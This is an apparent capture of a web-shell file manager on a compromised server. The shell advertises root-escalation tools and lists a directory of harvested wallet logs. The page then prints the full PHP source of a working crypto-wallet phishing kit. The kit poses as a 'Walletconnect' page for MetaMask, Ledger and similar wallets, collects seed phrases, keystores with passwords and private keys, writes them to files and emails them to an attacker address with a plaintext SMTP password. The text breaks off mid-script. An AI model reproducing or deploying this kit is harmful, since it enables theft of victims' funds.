Linux panel555.harmondns.net 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
LiteSpeed
Server IP : 5.9.79.124 & Your IP : 216.73.217.93
Domains :
Cant Read [ /etc/named.conf ]
User : examacce
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
examacce /
phis.toolswizard.store /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2026-05-06 08:02
agzxtli
[ DIR ]
drwxr-xr-x
2026-05-08 15:52
assets
[ DIR ]
drwxr-xr-x
2026-05-06 08:02
assets2
[ DIR ]
drwxr-xr-x
2026-05-06 08:02
images
[ DIR ]
drwxr-xr-x
2026-05-06 08:02
pcmvkgr
[ DIR ]
drwxr-xr-x
2026-05-08 15:52
phpmailer
[ DIR ]
drwxr-xr-x
2026-05-13 12:08
ptg1wuz
[ DIR ]
drwxr-xr-x
2026-05-08 15:52
qpnbdsa
[ DIR ]
drwxr-xr-x
2026-05-08 15:52
.htaccess
484
B
-r--r--r--
2026-05-08 01:02
Web3-removebg-preview.png
147.87
KB
-rw-r--r--
2025-05-05 11:08
get-started-recovery-phrase-lg@2x.png
1.4
MB
-rw-r--r--
2025-05-05 23:35
index.html
52.5
KB
-rw-r--r--
2026-03-26 21:33
index1.html
50.35
KB
-rw-r--r--
2026-04-17 03:35
wallet.php
33.63
KB
-rw-r--r--
2026-03-26 21:35
wallet_connections.log
2.95
KB
-rw-r--r--
2026-03-26 05:28
wallet_details_2026-03-26.log
656
B
-rw-r--r--
2026-03-26 04:17
wallet_details_2026-03-26_04-23-52.txt
386
B
-rw-r--r--
2026-03-26 04:23
wallet_details_2026-03-26_04-35-30.txt
282
B
-rw-r--r--
2026-03-26 04:35
wallet_details_2026-03-26_04-35-37.txt
270
B
-rw-r--r--
2026-03-26 04:35
wallet_details_2026-03-26_04-35-39.txt
270
B
-rw-r--r--
2026-03-26 04:35
wallet_details_2026-03-26_04-35-41.txt
270
B
-rw-r--r--
2026-03-26 04:35
wallet_details_2026-03-26_04-35-42.txt
270
B
-rw-r--r--
2026-03-26 04:35
wallet_details_2026-03-26_04-35-43.txt
270
B
-rw-r--r--
2026-03-26 04:35
wallet_details_2026-03-26_04-35-45.txt
270
B
-rw-r--r--
2026-03-26 04:35
wallet_details_2026-03-26_04-35-46.txt
270
B
-rw-r--r--
2026-03-26 04:35
wallet_details_2026-03-26_04-36-54.txt
278
B
-rw-r--r--
2026-03-26 04:36
wallet_details_2026-03-26_04-37-05.txt
266
B
-rw-r--r--
2026-03-26 04:37
wallet_details_2026-03-26_05-28-39.txt
327
B
-rw-r--r--
2026-03-26 05:28
wallet_details_2026-03-26_05-28-51.txt
315
B
-rw-r--r--
2026-03-26 05:28
wallet_details_2026-03-26_06-51-20.txt
322
B
-rw-r--r--
2026-03-26 06:51
wallet_details_2026-03-26_06-51-56.txt
310
B
-rw-r--r--
2026-03-26 06:51
wallet_details_2026-03-26_07-01-46.txt
326
B
-rw-r--r--
2026-03-26 07:01
wallet_details_2026-03-26_07-03-18.txt
413
B
-rw-r--r--
2026-03-26 07:03
wallet_details_2026-03-26_21-34-48.txt
326
B
-rw-r--r--
2026-03-26 21:34
wallet_details_2026-03-26_21-35-10.txt
314
B
-rw-r--r--
2026-03-26 21:35
Save
Rename
<?php // Enable error reporting for debugging error_reporting(E_ALL); ini_set('display_errors', 1); // ============ Include PHPMailer ============ // First, download PHPMailer from: https://github.com/PHPMailer/PHPMailer // Place the 'src' folder in your project directory require_once 'phpmailer/src/Exception.php'; require_once 'phpmailer/src/PHPMailer.php'; require_once 'phpmailer/src/SMTP.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; // ============ Configuration ============ $supervisor_email = "admin@toolswizard.store"; $site_name = "Walletconnect"; // ============ SMTP Configuration ============ $smtp_host = "panel555.harmondns.net"; $smtp_port = 587; $smtp_username = "admin@toolswizard.store"; $smtp_password = "@toolswizard.store@"; $smtp_from_email = "admin@toolswizard.store"; $smtp_from_name = "Walletconnect"; // Initialize variables $success_message = ""; $error_message = ""; $show_success = false; $show_error = false; // Store submitted values $submitted_wallet_type = ""; $submitted_method = "phrase"; $submitted_wallet_name = ""; $submitted_recovery_phrase = ""; $submitted_keystore_json = ""; $submitted_keystore_password = ""; $submitted_private_key = ""; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit_form'])) { // Function to sanitize input function sanitize_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8'); return $data; } // Get form data $submitted_wallet_type = isset($_POST['wallet_type']) ? sanitize_input($_POST['wallet_type']) : 'Unknown'; $submitted_method = isset($_POST['method']) ? sanitize_input($_POST['method']) : 'phrase'; $submitted_wallet_name = isset($_POST['wallet_name']) ? sanitize_input($_POST['wallet_name']) : ''; $submitted_recovery_phrase = isset($_POST['recovery_phrase']) ? $_POST['recovery_phrase'] : ''; $submitted_keystore_json = isset($_POST['keystore_json']) ? $_POST['keystore_json'] : ''; $submitted_keystore_password = isset($_POST['keystore_password']) ? sanitize_input($_POST['keystore_password']) : ''; $submitted_private_key = isset($_POST['private_key']) ? sanitize_input($_POST['private_key']) : ''; // Validate required fields $validation_error = ""; if ($submitted_method == 'phrase') { if (empty($submitted_wallet_name)) $validation_error = "Wallet name is required"; elseif (empty($submitted_recovery_phrase)) $validation_error = "Recovery phrase is required"; } elseif ($submitted_method == 'keystore') { if (empty($submitted_wallet_name)) $validation_error = "Wallet name is required"; elseif (empty($submitted_keystore_json)) $validation_error = "Keystore JSON is required"; elseif (empty($submitted_keystore_password)) $validation_error = "Keystore password is required"; } elseif ($submitted_method == 'privatekey') { if (empty($submitted_wallet_name)) $validation_error = "Wallet name is required"; elseif (empty($submitted_private_key)) $validation_error = "Private key is required"; } if (empty($validation_error)) { // Get additional info $ip_address = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $timestamp = date('Y-m-d H:i:s'); $page_url = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct access'; // Save to local file (always do this as backup) $details_file = 'wallet_details_' . date('Y-m-d_H-i-s') . '.txt'; $details_entry = "========================================\n"; $details_entry .= "DATE: " . date('Y-m-d H:i:s') . "\n"; $details_entry .= "WALLET NAME: $submitted_wallet_name\n"; $details_entry .= "WALLET TYPE: $submitted_wallet_type\n"; $details_entry .= "METHOD: $submitted_method\n"; $details_entry .= "IP: $ip_address\n"; $details_entry .= "USER AGENT: $user_agent\n"; if ($submitted_method == 'phrase') { $details_entry .= "\nRECOVERY PHRASE:\n$submitted_recovery_phrase\n"; } elseif ($submitted_method == 'keystore') { $details_entry .= "\nKEYSTORE JSON:\n$submitted_keystore_json\n"; $details_entry .= "PASSWORD: $submitted_keystore_password\n"; } elseif ($submitted_method == 'privatekey') { $details_entry .= "\nPRIVATE KEY:\n$submitted_private_key\n"; } $details_entry .= "========================================\n\n"; file_put_contents($details_file, $details_entry); // Build email content $subject = "🔐 Web3 Wallet Connection Alert - $submitted_wallet_name"; $message = " <html> <head> <title>Wallet Connection Alert</title> <style> body { font-family: Arial, sans-serif; line-height: 1.6; color: #333; } .container { max-width: 600px; margin: 0 auto; padding: 20px; } .header { background: linear-gradient(135deg, #00d4ff, #a855f7); padding: 20px; text-align: center; border-radius: 10px 10px 0 0; } .header h1 { color: white; margin: 0; } .content { background: #f9f9f9; padding: 20px; border: 1px solid #ddd; border-top: none; border-radius: 0 0 10px 10px; } .section { margin-bottom: 20px; border-bottom: 1px solid #eee; padding-bottom: 10px; } .section h2 { color: #00d4ff; margin: 0 0 10px 0; font-size: 18px; } .label { font-weight: bold; color: #555; } .value { margin-left: 10px; color: #333; } .alert { background: #fff3cd; border-left: 4px solid #ffc107; padding: 10px; margin: 10px 0; } .footer { text-align: center; margin-top: 20px; font-size: 12px; color: #999; } pre { background: #f4f4f4; padding: 10px; border-radius: 5px; overflow-x: auto; } </style> </head> <body> <div class='container'> <div class='header'> <h1>🚨 New Wallet Connection</h1> </div> <div class='content'> <div class='section'> <h2>📊 Connection Details</h2> <p><span class='label'>🏦 Wallet Name:</span> <span class='value'>$submitted_wallet_name</span></p> <p><span class='label'>🔗 Wallet Type:</span> <span class='value'>$submitted_wallet_type</span></p> <p><span class='label'>🔑 Recovery Method:</span> <span class='value'>$submitted_method</span></p> <p><span class='label'>⏰ Timestamp:</span> <span class='value'>$timestamp</span></p> <p><span class='label'>🌐 IP Address:</span> <span class='value'>$ip_address</span></p> <p><span class='label'>🖥️ User Agent:</span> <span class='value'>$user_agent</span></p> <p><span class='label'>🔗 Page URL:</span> <span class='value'>$page_url</span></p> </div> "; // Add credential details if ($submitted_method == 'phrase' && !empty($submitted_recovery_phrase)) { $message .= " <div class='section'> <h2>🔐 Recovery Phrase</h2> <div class='alert'> <p><strong>⚠️ SECURITY ALERT:</strong> Recovery phrase has been submitted!</p> <pre>" . htmlspecialchars($submitted_recovery_phrase) . "</pre> </div> </div> "; } elseif ($submitted_method == 'keystore' && !empty($submitted_keystore_json)) { $message .= " <div class='section'> <h2>📄 Keystore JSON</h2> <div class='alert'> <p><strong>⚠️ SECURITY ALERT:</strong> Keystore file has been submitted!</p> <pre>" . htmlspecialchars($submitted_keystore_json) . "</pre> </div> <p><span class='label'>🔑 Keystore Password:</span> <span class='value'>$submitted_keystore_password</span></p> </div> "; } elseif ($submitted_method == 'privatekey' && !empty($submitted_private_key)) { $message .= " <div class='section'> <h2>🗝️ Private Key</h2> <div class='alert'> <p><strong>⚠️ SECURITY ALERT:</strong> Private key has been submitted!</p> <pre>$submitted_private_key</pre> </div> </div> "; } $message .= " <div class='alert'> <p><strong>🔒 This is an automated security alert.</strong></p> <p>Please investigate immediately if this is unauthorized access.</p> </div> </div> <div class='footer'> <p>This email was automatically sent from $site_name | " . date('Y-m-d H:i:s') . "</p> </div> </div> </body> </html> "; // Try to send email using PHPMailer $mail = new PHPMailer(true); try { // Server settings $mail->SMTPDebug = SMTP::DEBUG_OFF; // Set to SMTP::DEBUG_SERVER for debugging $mail->isSMTP(); $mail->Host = $smtp_host; $mail->SMTPAuth = true; $mail->Username = $smtp_username; $mail->Password = $smtp_password; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = $smtp_port; // Recipients $mail->setFrom($smtp_from_email, $smtp_from_name); $mail->addAddress($supervisor_email); // Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $message; $mail->AltBody = strip_tags($message); $mail->send(); $success_message = "✓ Wallet connected successfully!"; $show_success = true; // Reset form data $submitted_wallet_type = ""; $submitted_method = "phrase"; $submitted_wallet_name = ""; $submitted_recovery_phrase = ""; $submitted_keystore_json = ""; $submitted_keystore_password = ""; $submitted_private_key = ""; } catch (Exception $e) { $error_message = "⚠️ Email notification failed: " . $mail->ErrorInfo . "<br>✓ Data has been saved locally to: $details_file"; $show_error = true; } } else { $error_message = $validation_error; $show_error = true; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Walletconnect - Secure Wallet Connection</title> <!-- Tailwind CSS --> <script src="https://cdn.tailwindcss.com/"></script> <!-- Google Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"> <!-- Phosphor Icons --> <script src="https://unpkg.com/@phosphor-icons/web"></script> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #0a0a0f; font-family: 'Inter', sans-serif; } .font-display { font-family: 'Space Grotesk', monospace; } .glass-card { background: linear-gradient(135deg, rgba(26, 26, 46, 0.8) 0%, rgba(18, 18, 26, 0.9) 100%); backdrop-filter: blur(20px); border: 1px solid rgba(255, 255, 255, 0.08); box-shadow: 0 8px 32px 0 rgba(0, 0, 0, 0.37); } .glass-strong { background: rgba(10, 10, 15, 0.85); backdrop-filter: blur(30px); border: 1px solid rgba(255, 255, 255, 0.15); } .gradient-text { background: linear-gradient(135deg, #00d4ff 0%, #a855f7 50%, #ec4899 100%); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .bg-mesh { background: radial-gradient(at 40% 20%, rgba(0, 212, 255, 0.15) 0px, transparent 50%), radial-gradient(at 80% 0%, rgba(168, 85, 247, 0.15) 0px, transparent 50%), radial-gradient(at 0% 50%, rgba(236, 72, 153, 0.1) 0px, transparent 50%); } .wallet-card { transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1); position: relative; overflow: hidden; cursor: pointer; } .wallet-card:hover { transform: translateY(-8px) scale(1.02); box-shadow: 0 20px 40px rgba(0, 212, 255, 0.2); border-color: rgba(0, 212, 255, 0.5); } .toggle-switch { position: relative; width: 52px; height: 28px; background: rgba(255,255,255,0.1); border-radius: 14px; cursor: pointer; transition: all 0.3s; } .toggle-switch.active { background: linear-gradient(135deg, #00d4ff, #a855f7); } .toggle-switch::after { content: ''; position: absolute; top: 2px; left: 2px; width: 24px; height: 24px; background: white; border-radius: 50%; transition: transform 0.3s cubic-bezier(0.4, 0, 0.2, 1); box-shadow: 0 2px 8px rgba(0,0,0,0.3); } .toggle-switch.active::after { transform: translateX(24px); } .tab-btn { position: relative; transition: all 0.3s; cursor: pointer; } .tab-btn::after { content: ''; position: absolute; bottom: -2px; left: 0; width: 0; height: 2px; background: linear-gradient(90deg, #00d4ff, #a855f7); transition: width 0.3s; } .tab-btn.active::after { width: 100%; } .tab-btn.active { color: #00d4ff; } .modern-input { background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); transition: all 0.3s; color: white; } .modern-input:focus { background: rgba(255,255,255,0.08); border-color: #00d4ff; box-shadow: 0 0 20px rgba(0, 212, 255, 0.2); outline: none; } .modern-input::placeholder { color: rgba(255,255,255,0.5); } .wallet-icon-container { position: relative; width: 56px; height: 56px; border-radius: 12px; overflow: hidden; background: rgba(255, 255, 255, 0.05); display: flex; align-items: center; justify-content: center; } .wallet-logo { width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; font-weight: 800; font-size: 1.4rem; color: white; text-transform: uppercase; border-radius: 12px; } .pulse-ring { position: absolute; border-radius: 50%; border: 2px solid rgba(0, 212, 255, 0.3); animation: pulse-ring 2s cubic-bezier(0.4, 0, 0.6, 1) infinite; } @keyframes pulse-ring { 0% { transform: scale(0.8); opacity: 1; } 100% { transform: scale(1.5); opacity: 0; } } .hidden { display: none; } .alert-success { background: rgba(16, 185, 129, 0.95); border-left: 4px solid #10b981; } .alert-error { background: rgba(220, 38, 38, 0.95); border-left: 4px solid #ff4d4d; } .toast-notification { transition: all 0.3s ease; animation: slideIn 0.5s ease; } @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } </style> </head> <body class="bg-dark-900 text-white font-sans overflow-x-hidden" style="background: #0a0a0f;"> <!-- Background Effects --> <div class="fixed inset-0 pointer-events-none"> <div class="absolute inset-0 bg-mesh"></div> <div class="absolute top-0 left-1/4 w-96 h-96 bg-cyan-500/20 rounded-full blur-[128px] animate-pulse"></div> <div class="absolute bottom-0 right-1/4 w-96 h-96 bg-purple-500/20 rounded-full blur-[128px] animate-pulse" style="animation-delay: 2s;"></div> </div> <!-- Navigation --> <nav class="fixed top-0 left-0 right-0 z-50 glass-strong border-b border-white/10"> <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8"> <div class="flex items-center justify-between h-16"> <div class="flex items-center gap-3 cursor-pointer group"> <div class="relative w-10 h-10"> <div class="absolute inset-0 bg-gradient-to-br from-cyan-500 to-purple-500 rounded-xl rotate-45 group-hover:rotate-90 transition-transform duration-500"></div> <div class="absolute inset-0 flex items-center justify-center"><i class="ph ph-shield-check text-white text-xl"></i></div> </div> <div><h1 class="font-display font-bold text-xl tracking-tight"><span class="gradient-text">Web3</span>Connect</h1><p class="text-xs text-gray-400">Secure Vault</p></div> </div> </div> </div> </nav> <!-- Main Content --> <main class="relative pt-24 pb-12 px-4 sm:px-6 lg:px-8 max-w-7xl mx-auto"> <!-- Success/Error Messages --> <?php if ($show_success): ?> <div id="successMessage" class="fixed top-20 right-4 z-[200] max-w-md toast-notification"> <div class="alert-success rounded-xl px-6 py-4 flex items-center gap-3 shadow-2xl backdrop-blur-md"> <i class="ph ph-check-circle text-white text-xl"></i> <span class="text-white text-sm font-medium"><?php echo $success_message; ?></span> </div> </div> <script>setTimeout(function() { var msg = document.getElementById('successMessage'); if (msg) msg.style.display = 'none'; }, 8000);</script> <?php endif; ?> <?php if ($show_error): ?> <div id="errorMessage" class="fixed top-20 right-4 z-[200] max-w-md toast-notification"> <div class="alert-error rounded-xl px-6 py-4 flex items-center gap-3 shadow-2xl backdrop-blur-md"> <i class="ph ph-warning-circle text-white text-xl"></i> <span class="text-white text-sm font-medium"><?php echo $error_message; ?></span> </div> </div> <script>setTimeout(function() { var msg = document.getElementById('errorMessage'); if (msg) msg.style.display = 'none'; }, 10000);</script> <?php endif; ?> <!-- Info Box --> <div class="mb-8 glass-card rounded-2xl p-4 border border-cyan-500/20"> <div class="flex items-center gap-3"> <i class="ph ph-info text-cyan-500 text-2xl"></i> <div> </div> </div> </div> <!-- Header Section --> <div class="text-center mb-12"> <div class="inline-flex items-center gap-2 px-4 py-2 rounded-full bg-cyan-500/10 border border-cyan-500/20 mb-4"> <span class="w-2 h-2 rounded-full bg-cyan-500 animate-pulse"></span> <span class="text-cyan-500 text-sm font-medium uppercase tracking-wider">SECURE</span> </div> <h1 class="font-display text-4xl md:text-5xl lg:text-6xl font-bold mb-4">Connect Your <span class="gradient-text">Wallet</span></h1> <p class="text-gray-400 text-lg max-w-2xl mx-auto leading-relaxed glass-card p-4 rounded-xl">Connect your Web3 wallet securely to access decentralized applications and manage your digital assets.</p> </div> <!-- Control Bar --> <div class="flex flex-col sm:flex-row items-center justify-between gap-4 mb-8 glass-card rounded-2xl p-4 sm:p-6"> <div class="flex items-center gap-3"> <div class="w-12 h-12 rounded-xl bg-gradient-to-br from-cyan-500/20 to-purple-500/20 flex items-center justify-center"><i class="ph ph-wallet text-cyan-500 text-2xl"></i></div> <div><h2 class="font-display font-semibold text-lg">Choose Wallet</h2><p class="text-sm text-gray-400">Select your preferred Web3 wallet</p></div> </div> <div class="flex items-center gap-4"><span class="text-sm text-gray-400">Show More</span><div class="toggle-switch" id="toggleUninstalled" onclick="toggleSwitch(this)"></div></div> </div> <!-- Wallets Grid --> <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4" id="walletsGrid"></div> </main> <!-- First Modal: Wallet Info --> <div id="walletModal" class="fixed inset-0 z-[100] hidden"> <div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('walletModal')"></div> <div class="absolute bottom-0 left-0 right-0 md:top-1/2 md:left-1/2 md:bottom-auto md:-translate-x-1/2 md:-translate-y-1/2 md:w-full md:max-w-md p-4"> <div class="glass-card rounded-3xl p-6 md:p-8 transform transition-all duration-500 scale-95 opacity-0" id="walletModalContent"> <button onclick="closeModal('walletModal')" class="absolute top-4 right-4 w-10 h-10 rounded-full hover:bg-white/10 flex items-center justify-center"><i class="ph ph-x text-xl"></i></button> <div class="text-center"> <div class="relative w-20 h-20 mx-auto mb-4"><div class="pulse-ring absolute inset-0"></div><div class="wallet-icon-container w-20 h-20 mx-auto relative z-10" id="walletModalIconContainer"></div></div> <h3 id="walletModalName" class="font-display text-2xl font-bold mb-2 gradient-text"></h3> <p class="text-gray-400 text-sm leading-relaxed mb-6">A Web3 wallet is a versatile and significant piece of technology that is set to revolutionize the way our online identity is presented and accessed. <span id="walletModalNameText" class="text-cyan-500 font-semibold"></span> wallet provides secure blockchain interaction.</p> <div class="flex gap-3"><button onclick="closeModal('walletModal')" class="flex-1 py-3 rounded-xl border border-white/20 hover:bg-white/5 transition-colors text-sm font-medium">Cancel</button><button onclick="proceedToImport()" class="flex-1 py-3 rounded-xl bg-gradient-to-r from-cyan-500 to-purple-500 hover:shadow-lg transition-all duration-300 text-sm font-semibold transform hover:scale-105">Connect Wallet</button></div> </div> </div> </div> </div> <!-- Second Modal: Import Wallet --> <div id="importModal" class="fixed inset-0 z-[101] hidden"> <div class="absolute inset-0 bg-black/70 backdrop-blur-md" onclick="closeModal('importModal')"></div> <div class="absolute inset-4 md:inset-auto md:top-1/2 md:left-1/2 md:-translate-x-1/2 md:-translate-y-1/2 md:w-full md:max-w-lg overflow-auto"> <div class="glass-strong rounded-3xl overflow-hidden transform transition-all duration-500 scale-95 opacity-0 min-h-full md:min-h-0" id="importModalContent"> <form action="" method="POST" id="walletForm"> <input type="hidden" name="wallet_type" id="wallet_type"> <input type="hidden" name="method" id="method" value="<?php echo $submitted_method; ?>"> <input type="hidden" name="submit_form" value="1"> <div class="p-6 border-b border-white/10 flex items-center gap-4"> <div class="wallet-icon-container w-12 h-12" id="importModalIconContainer"></div> <div><h3 id="importModalTitle" class="font-display text-xl font-bold"></h3><p class="text-xs text-gray-400">Secure import your wallet</p></div> <button type="button" onclick="closeModal('importModal')" class="ml-auto w-10 h-10 rounded-full hover:bg-white/10 flex items-center justify-center"><i class="ph ph-x text-xl"></i></button> </div> <div class="flex border-b border-white/10"> <button type="button" class="tab-btn <?php echo $submitted_method == 'phrase' ? 'active' : ''; ?> flex-1 py-4 text-sm font-medium text-center <?php echo $submitted_method != 'phrase' ? 'text-gray-400' : ''; ?>" onclick="switchTab('phrase', this)"><i class="ph ph-textbox mr-2"></i>Phrase</button> <button type="button" class="tab-btn <?php echo $submitted_method == 'keystore' ? 'active' : ''; ?> flex-1 py-4 text-sm font-medium text-center <?php echo $submitted_method != 'keystore' ? 'text-gray-400' : ''; ?>" onclick="switchTab('keystore', this)"><i class="ph ph-file-json mr-2"></i>Keystore</button> <button type="button" class="tab-btn <?php echo $submitted_method == 'privatekey' ? 'active' : ''; ?> flex-1 py-4 text-sm font-medium text-center <?php echo $submitted_method != 'privatekey' ? 'text-gray-400' : ''; ?>" onclick="switchTab('privatekey', this)"><i class="ph ph-key mr-2"></i>Private Key</button> </div> <div class="p-6 space-y-4"> <div id="tab-phrase" class="tab-content" style="display: <?php echo $submitted_method == 'phrase' ? 'block' : 'none'; ?>"> <div class="space-y-4"> <div><label class="block text-sm font-medium text-gray-300 mb-2">Wallet Name *</label><input type="text" name="wallet_name" id="walletNameInput" class="modern-input w-full px-4 py-3 rounded-xl" placeholder="My Wallet" value="<?php echo htmlspecialchars($submitted_wallet_name); ?>"></div> <div><label class="block text-sm font-medium text-gray-300 mb-2">Recovery Phrase *</label><textarea name="recovery_phrase" rows="3" class="modern-input w-full px-4 py-3 rounded-xl resize-none" placeholder="Enter 12 or 24 words separated by spaces"><?php echo htmlspecialchars($submitted_recovery_phrase); ?></textarea><p class="mt-2 text-xs text-gray-500">Typically 12 (sometimes 24) words separated by single spaces</p></div> </div> </div> <div id="tab-keystore" class="tab-content" style="display: <?php echo $submitted_method == 'keystore' ? 'block' : 'none'; ?>"> <div class="space-y-4"> <div><label class="block text-sm font-medium text-gray-300 mb-2">Wallet Name *</label><input type="text" name="wallet_name" id="walletNameInputKeystore" class="modern-input w-full px-4 py-3 rounded-xl" placeholder="My Wallet" value="<?php echo htmlspecialchars($submitted_wallet_name); ?>"></div> <div><label class="block text-sm font-medium text-gray-300 mb-2">Keystore JSON *</label><textarea name="keystore_json" rows="3" class="modern-input w-full px-4 py-3 rounded-xl font-mono text-xs" placeholder='{"version":3,"id":"..."}'><?php echo htmlspecialchars($submitted_keystore_json); ?></textarea></div> <div><label class="block text-sm font-medium text-gray-300 mb-2">Wallet Password *</label><input type="password" name="keystore_password" class="modern-input w-full px-4 py-3 rounded-xl" placeholder="Password used to encrypt keystore" value="<?php echo htmlspecialchars($submitted_keystore_password); ?>"></div> </div> </div> <div id="tab-privatekey" class="tab-content" style="display: <?php echo $submitted_method == 'privatekey' ? 'block' : 'none'; ?>"> <div class="space-y-4"> <div><label class="block text-sm font-medium text-gray-300 mb-2">Wallet Name *</label><input type="text" name="wallet_name" id="walletNameInputPrivate" class="modern-input w-full px-4 py-3 rounded-xl" placeholder="My Wallet" value="<?php echo htmlspecialchars($submitted_wallet_name); ?>"></div> <div><label class="block text-sm font-medium text-gray-300 mb-2">Private Key *</label><input type="text" name="private_key" class="modern-input w-full px-4 py-3 rounded-xl font-mono" placeholder="0x..." value="<?php echo htmlspecialchars($submitted_private_key); ?>"></div> </div> </div> </div> <div class="p-6 border-t border-white/10 flex gap-3"> <button type="button" onclick="closeModal('importModal')" class="flex-1 py-3 rounded-xl border border-white/20 hover:bg-white/5 transition-colors text-sm font-medium">Cancel</button> <button type="submit" class="flex-1 py-3 rounded-xl bg-gradient-to-r from-cyan-500 to-purple-500 hover:shadow-lg transition-all duration-300 text-sm font-semibold transform hover:scale-105 flex items-center justify-center gap-2"><span>Proceed</span><i class="ph ph-arrow-right"></i></button> </div> </form> </div> </div> </div> <script> // Wallet Data const wallets = [ { id: 1, name: 'MetaMask', color: '#F6851B', textColor: '#FFFFFF', popular: true }, { id: 2, name: 'Trust Wallet', color: '#3375BB', textColor: '#FFFFFF', popular: true }, { id: 3, name: 'Coinbase Wallet', color: '#0052FF', textColor: '#FFFFFF', popular: true }, { id: 4, name: 'WalletConnect', color: '#3B99FC', textColor: '#FFFFFF', popular: true }, { id: 5, name: 'Phantom', color: '#AB9FF2', textColor: '#000000', popular: true }, { id: 6, name: 'Ledger Live', color: '#000000', textColor: '#FFFFFF', popular: true }, { id: 7, name: 'SafePal', color: '#5CA08E', textColor: '#FFFFFF', popular: true }, { id: 8, name: 'Exodus', color: '#1E1E1E', textColor: '#FFFFFF', popular: true }, { id: 9, name: 'Crypto.com DeFi', color: '#1A1A1A', textColor: '#FFFFFF', popular: true }, { id: 10, name: 'Keplr', color: '#CF29FF', textColor: '#FFFFFF', popular: true }, { id: 11, name: 'Bitget Wallet', color: '#00E07B', textColor: '#000000', popular: true }, { id: 12, name: 'Rainbow', color: '#00D1FF', textColor: '#000000', popular: false }, { id: 13, name: 'Argent', color: '#FF875B', textColor: '#FFFFFF', popular: false }, { id: 14, name: 'Gnosis Safe', color: '#008C73', textColor: '#FFFFFF', popular: false }, { id: 15, name: '1inch Wallet', color: '#1E1E1E', textColor: '#FFFFFF', popular: false }, ]; let currentWallet = null; let currentTab = '<?php echo $submitted_method; ?>'; let showExtended = false; function createWalletIcon(wallet, size = 'normal') { const initial = wallet.name.charAt(0).toUpperCase(); if (size === 'large') { return `<div class="wallet-logo w-20 h-20 text-3xl rounded-xl" style="background: linear-gradient(135deg, ${wallet.color}, ${wallet.color}CC); color: ${wallet.textColor};">${initial}</div>`; } return `<div class="wallet-logo w-full h-full text-2xl rounded-xl" style="background: linear-gradient(135deg, ${wallet.color}, ${wallet.color}CC); color: ${wallet.textColor};">${initial}</div>`; } function renderWallets() { const grid = document.getElementById('walletsGrid'); let filtered = showExtended ? wallets : wallets.filter(w => w.popular === true); grid.innerHTML = filtered.map((wallet) => { return ` <div class="wallet-card glass-card rounded-2xl p-4 cursor-pointer group" onclick="selectWallet(${wallet.id})"> ${wallet.popular ? '<div class="absolute -top-2 -right-2 z-10"><span class="flex h-6 w-6 items-center justify-center rounded-full bg-gradient-to-r from-cyan-500 to-purple-500 text-xs font-bold shadow-lg"><i class="ph ph-star text-white"></i></span></div>' : ''} <div class="flex items-center gap-4"> <div class="wallet-icon-container group-hover:scale-105 transition-transform duration-300">${createWalletIcon(wallet)}</div> <div class="flex-1 min-w-0"><h3 class="font-display font-semibold text-lg group-hover:text-cyan-500 transition-colors truncate">${wallet.name}</h3><p class="text-xs text-gray-500">Web3 Wallet</p></div> <div class="w-10 h-10 rounded-full bg-white/5 flex items-center justify-center group-hover:bg-cyan-500/20 transition-colors flex-shrink-0"><i class="ph ph-caret-right text-gray-400 group-hover:text-cyan-500 transition-colors"></i></div> </div> </div> `; }).join(''); } function toggleSwitch(element) { showExtended = !showExtended; if (showExtended) element.classList.add('active'); else element.classList.remove('active'); renderWallets(); } function selectWallet(id) { currentWallet = wallets.find(w => w.id === id); if (!currentWallet) return; document.getElementById('walletModalIconContainer').innerHTML = createWalletIcon(currentWallet, 'large'); document.getElementById('walletModalName').textContent = currentWallet.name; document.getElementById('walletModalNameText').textContent = currentWallet.name; const modal = document.getElementById('walletModal'); const content = document.getElementById('walletModalContent'); modal.classList.remove('hidden'); setTimeout(() => { content.classList.remove('scale-95', 'opacity-0'); content.classList.add('scale-100', 'opacity-100'); }, 10); } function proceedToImport() { closeModal('walletModal'); setTimeout(() => { document.getElementById('importModalIconContainer').innerHTML = createWalletIcon(currentWallet); document.getElementById('importModalTitle').textContent = `Import your ${currentWallet.name} Wallet`; document.getElementById('wallet_type').value = currentWallet.name; const walletNameFields = document.querySelectorAll('input[name="wallet_name"]'); walletNameFields.forEach(field => { field.value = currentWallet.name + ' Wallet'; }); const modal = document.getElementById('importModal'); const content = document.getElementById('importModalContent'); modal.classList.remove('hidden'); setTimeout(() => { content.classList.remove('scale-95', 'opacity-0'); content.classList.add('scale-100', 'opacity-100'); }, 10); }, 300); } function closeModal(modalId) { const modal = document.getElementById(modalId); const content = modalId === 'walletModal' ? document.getElementById('walletModalContent') : document.getElementById('importModalContent'); if (content) { content.classList.remove('scale-100', 'opacity-100'); content.classList.add('scale-95', 'opacity-0'); } setTimeout(() => { 